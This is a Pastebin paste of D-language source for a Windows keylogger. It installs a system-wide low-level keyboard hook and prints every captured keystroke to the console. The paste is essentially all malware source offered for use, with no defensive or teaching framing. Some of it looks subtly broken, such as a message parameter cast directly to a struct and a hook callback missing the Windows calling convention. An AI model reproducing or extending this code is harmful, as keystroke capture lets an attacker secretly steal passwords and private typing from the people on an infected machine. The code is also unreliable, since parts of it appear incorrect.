Advertisement
Guest User

keylogger

a guest
Apr 4th, 2015
271
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
D 2.11 KB | None | 0 0
  1. import core.runtime;
  2. import std.c.windows.windows;
  3. import std.stdio;
  4. import std.string;
  5. import core.thread;
  6. import win32.winuser : GetKeyNameText; //The only function we need from winuser.d
  7.  
  8. alias HANDLE HHOOK; //A HHOOK is called a HANDLE in D so we use alias
  9.  
  10. HHOOK hKeyboardHook;
  11.  
  12. /* Define our constants and other stuff */
  13. const int HC_ACTION = 0;
  14. //const int WM_KEYDOWN = 0x0100;
  15. //const int WM_SYSKEYDOWN = 0x0104;
  16. const int WH_KEYBOARD_LL = 13;
  17.  
  18. struct KBDLLHOOKSTRUCT
  19. {
  20.     public int vkCode;
  21.     public int scanCode;
  22.     public int flags;
  23.     public int time;
  24.     public int dwExtraInfo;
  25. }
  26.  
  27. extern (Windows) HHOOK SetWindowsHookExA(int idHook, HOOKPROC lpfn, HINSTANCE hMod, DWORD dwThreadId);
  28. extern (Windows) bool UnhookWindowsHookEx(HHOOK hhk);
  29. extern (Windows) int CallNextHookEx(HHOOK hHook, int nCode, WPARAM wParam, LPARAM lParam);
  30. //extern (Windows) int GetKeyNameTextW(DWORD lParam, string lpString, int nSize);
  31.  
  32. /* Our actual code here l0l */
  33.  
  34. LRESULT Keylogger (int nCode, WPARAM wParam, LPARAM lParam)
  35. {
  36.     if ((nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)))
  37.     {
  38.         KBDLLHOOKSTRUCT hooked_key = cast(KBDLLHOOKSTRUCT) lParam;
  39.         DWORD dwMsg = 1;
  40.         dwMsg += hooked_key.scanCode << 16;
  41.         dwMsg += hooked_key.flags << 24;
  42.         char lpszKeyName[1024];
  43.         lpszKeyName[0] = '[';
  44.  
  45.         char* cChar = &lpszKeyName[0];
  46.  
  47.         int i = GetKeyNameText(dwMsg, cChar, 0xFF) + 1;
  48.         int key = hooked_key.vkCode;
  49.         lpszKeyName[i] = '[';
  50.         if (key >= 'A' && key <= 'Z')
  51.         {
  52.             if (GetAsyncKeyState(VK_SHIFT) >= 0) key += 0x20;
  53.             writeln(key);
  54.         }
  55.         else
  56.         {
  57.             writeln(lpszKeyName);
  58.         }
  59.     }
  60.     return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
  61. }
  62.  
  63. DWORD JACKAL(LPVOID lpParam)
  64. {
  65.     HINSTANCE hins;
  66.     hins = GetModuleHandleA(null);
  67.     HOOKPROC _proc = cast(HOOKPROC)Keylogger;
  68.     hKeyboardHook = SetWindowsHookExA(WH_KEYBOARD_LL, _proc, hins, 0);
  69.     MSG message;
  70.     while (GetMessageA(&message, null, 0, 0))
  71.     {
  72.         TranslateMessage(&message);
  73.         DispatchMessageA(&message);
  74.     }
  75.     UnhookWindowsHookEx(hKeyboardHook);
  76.     return 0;
  77. }
  78.  
  79. int main(string[] argv)
  80. {
  81.     JACKAL(null);
  82.     return 0;
  83. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement